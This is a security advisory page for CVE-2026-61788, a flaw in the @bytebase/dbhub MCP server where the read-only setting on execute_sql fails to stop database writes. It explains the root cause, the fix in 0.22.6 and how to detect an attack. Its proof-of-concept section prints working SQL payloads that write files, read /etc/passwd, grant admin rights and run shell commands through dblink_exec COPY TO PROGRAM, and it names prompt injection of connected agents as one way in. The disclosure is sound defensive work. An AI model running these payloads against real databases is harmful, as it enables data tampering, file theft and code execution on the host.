CVE-2026-61788: @bytebase/dbhub's read-only mode does not prevent database writes
DBHub's `readonly = true` setting on the `execute_sql` tool does not make the database connection read-only. The code that sets PostgreSQL `default_transaction_read_only=on` and SQLite read-only mode never runs, and the remaining keyword filter lets function calls such as `setval`, `lo_export` or `dblink_exec` through. `@bytebase/dbhub` before 0.22.6 is affected; upgrade to 0.22.6.
Published Sep 24, 2026 · Analysis Oct 22, 2026
What an attacker can do
PostgresConnector.connect() and the SQLite connector apply database-level read-only only when config.readonly is set. That value is copied from source.readonly, which can never exist: SourceConfig has no such field, the TOML loader rejects it at source level, and the --readonly flag was removed. executeSQL() then runs batches in a plain BEGIN.
What remains is isReadOnlySQL(), which checks the first keyword of each statement against an allow-list and never looks at functions. With an ordinary role, SELECT setval('users_id_seq', 1) changes a sequence. With a privileged role, lo_export writes a file on the server, pg_read_file('/etc/passwd') reads host files, and dblink_exec opens a new, writable connection that can run UPDATE statements or COPY ... TO PROGRAM 'id', which is remote code execution on the database host.
The attacker needs access to the execute_sql input: a network caller of /mcp (the HTTP transport is unauthenticated and binds to 0.0.0.0 by default), a malicious MCP client, or untrusted content that reaches an agent wired to DBHub by prompt injection. DBHub is often pointed at an admin DSN, which makes the privileged cases common. Both stdio and HTTP transports, and PostgreSQL and SQLite, are affected.
Who is affected
@bytebase/dbhub before 0.22.6; the report says all releases up to and including 0.22.2 were confirmed. Anyone who relies on readonly = true under [[tools]] for execute_sql as a safety control is exposed. Privileged database roles raise the impact to file access and code execution.
npm ls -g @bytebase/dbhub@bytebase/dbhub
- Ecosystem
- npm
- Affected
- < 0.22.6
- Fixed in
- 0.22.6
- Check
npm ls @bytebase/dbhub
How to fix it
Upgrade to @bytebase/dbhub 0.22.6:
npm install -g @bytebase/[email protected]PR #342 adds engine-level read-only enforcement per tool: BEGIN READ ONLY for PostgreSQL, PRAGMA query_only for SQLite, and START TRANSACTION READ ONLY for MySQL and MariaDB. It also hardens the classifier, which now treats PRAGMA x = ... as a write. The advisory names no config workaround. Until you upgrade, connect DBHub with a database role that only has read privileges and no superuser, dblink or file-access rights, and do not expose /mcp to untrusted networks.
How to tell if you were hit
In database logs, look for statements issued through DBHub that call setval, nextval, lo_export, pg_read_file, dblink_exec or COPY ... TO PROGRAM, and for new connections opened by dblink from the DBHub role. On the database host, check for unexpected files such as /tmp/dbhub_poc or /tmp/pwned, and for shell children of the PostgreSQL server process. Beam records agent MCP tool calls, so it can show execute_sql calls an agent made with these functions.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Setting readonly = true on the execute_sql tool does not make the connection read-only. The connectors are written to set PostgreSQL default_transaction_read_only=on (and open SQLite in readOnly mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any SELECT that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (lo_export), reading arbitrary host files (pg_read_file), and remote code execution (dblink + COPY ... TO PROGRAM). The HTTP transport is unauthenticated and binds to 0.0.0.0 by default, so this is reachable by any network caller of /mcp.
Details
Two problems combine.
1. The database-level read-only control is dead code.
PostgresConnector.connect() only enables it when config.readonly is truthy (src/connectors/postgres/index.ts:175-177):
// SDK-level readonly enforcement: Set default_transaction_read_only for the entire connection
if (config?.readonly) {
poolConfig.options = (poolConfig.options || '') + ' -c default_transaction_read_only=on';
}SQLite is gated the same way (src/connectors/sqlite/index.ts:192). ConnectorConfig.readonly is assigned in exactly one place, and only from source.readonly (src/connectors/manager.ts:236-238):
// Pass readonly flag for SDK-level enforcement (PostgreSQL, SQLite)
if (source.readonly !== undefined) {
config.readonly = source.readonly;
}source.readonly can never have a value:
SourceConfighas noreadonlyfield (src/types/config.ts:49-62).readonlyexists only on the per-toolExecuteSqlToolConfig/CustomToolConfig.- The TOML loader rejects
readonlyat source level (src/config/toml-loader.ts:476-481: "readonly must be configured per-tool, not per-source"). - The
--readonlyCLI flag was removed and now hard-exits (src/config/env.ts:30).
So the if (source.readonly !== undefined) check is always false, config.readonly stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool readonly only ever reaches the classifier; executeSQL() ignores options.readonly and runs multi-statement batches in a plain BEGIN rather than BEGIN READ ONLY (src/connectors/postgres/index.ts:598-666).
(The docs already describe the classifier as "a safety net... not a security boundary." This report is about the DB-level control above, which the code clearly means to apply — see the "SDK-level readonly enforcement" comments — but silently fails to wire up.)
2. The classifier only checks the leading keyword.
areAllStatementsReadOnly() (src/tools/execute-sql.ts:24-27) splits on ; and runs isReadOnlySQL() (src/utils/allowed-keywords.ts) on each statement. isReadOnlySQL matches the first word against an allow-list, scans for mutating keywords only inside WITH, blocks SELECT ... INTO, and special-cases EXPLAIN ANALYZE. It never looks at the functions a statement calls. These all classify as read-only:
SELECT setval('seq', n)/nextval('seq')— sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold.SELECT lo_export(lo, '/path')— writes a file on the server. Needs superuser orpg_write_server_files.SELECT pg_read_file('/etc/passwd')— reads any file the server user can read. Needs superuser orpg_read_server_files.SELECT dblink_exec('dbname=...', 'UPDATE ...')— opens a fresh connection (not read-only) and runs writes/DDL. Needs thedblinkextension.SELECT dblink_exec('dbname=...', $$COPY (SELECT 1) TO PROGRAM 'id'$$)— command execution. Needs superuser orpg_execute_server_program, plusdblink.
The read-only test suite covers none of these.
PoC
Point DBHub at a PostgreSQL source with read-only set on the tool:
[[sources]]
id = "default"
dsn = "postgres://app:app@localhost:5432/app"
[[tools]]
name = "execute_sql"
source = "default"
readonly = trueStart it and call execute_sql:
npx @bytebase/dbhub@latest --transport http --port 8080With any role, a write that should be blocked goes through — the sequence value changes and the call returns success:
SELECT setval('users_id_seq', 1);With a privileged role, the rest are also accepted and executed:
SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc'); -- writes /tmp/dbhub_poc
SELECT pg_read_file('/etc/passwd'); -- reads a host file
SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true'); -- write via a new connection
SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$); -- runs a shell commandThe decision can be reproduced without a database by running the project's own isReadOnlySQL + splitSQLStatements (with areAllStatementsReadOnly copied from src/tools/execute-sql.ts) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, SELECT ... INTO, and EXPLAIN ANALYZE INSERT are all rejected, while every function-based statement above returns read-only = true.
Impact
Affects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. readonly = true does not stop writes. Anyone who can reach the execute_sql input can modify data under read-only mode — a network caller of the unauthenticated /mcp endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host.
---
Maintainer note (consolidation)
Tracking this as the canonical advisory for "read-only mode does not prevent database writes." The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates:
- GHSA-7rgf-cwgq-c2qc — same unwired driver-level backstop, plus the SQLite write-effecting
PRAGMAgap. - GHSA-m689-287g-5xpc — SQLite assignment-form
PRAGMAwrite bypass (a subset of the above).
Preserving the SQLite-specific remediation from those reports: in isReadOnlySQL, the assignment form PRAGMA x = ... must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via PRAGMA query_only=ON.
GHSA-j656-3hf2-fvjc (MySQL/MariaDB -- comment parsing + multipleStatements) is a distinct root cause and is tracked separately.
Fix: https://github.com/bytebase/dbhub/pull/342 — adds engine-level read-only enforcement per tool (Postgres BEGIN READ ONLY, SQLite query_only, MySQL/MariaDB START TRANSACTION READ ONLY) plus the classifier hardening above.
Credited to ixNyf.
Questions
- Does `readonly = true` protect my database in DBHub before 0.22.6?
No. The database-level read-only code is gated on a value that is never set, so only a first-keyword filter remains. A
SELECTthat calls a writing function passes it.- Can this lead to code execution?
Yes, with a privileged role. The report shows
dblink_execrunningCOPY ... TO PROGRAMfor a shell command. It needs superuser orpg_execute_server_program, plus thedblinkextension.- Is the SQLite connector affected too?
Yes. SQLite read-only mode is gated on the same unset value, and the maintainer note says write-effecting
PRAGMA x = ...statements also slipped through. 0.22.6 usesPRAGMA query_onlyfor SQLite.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
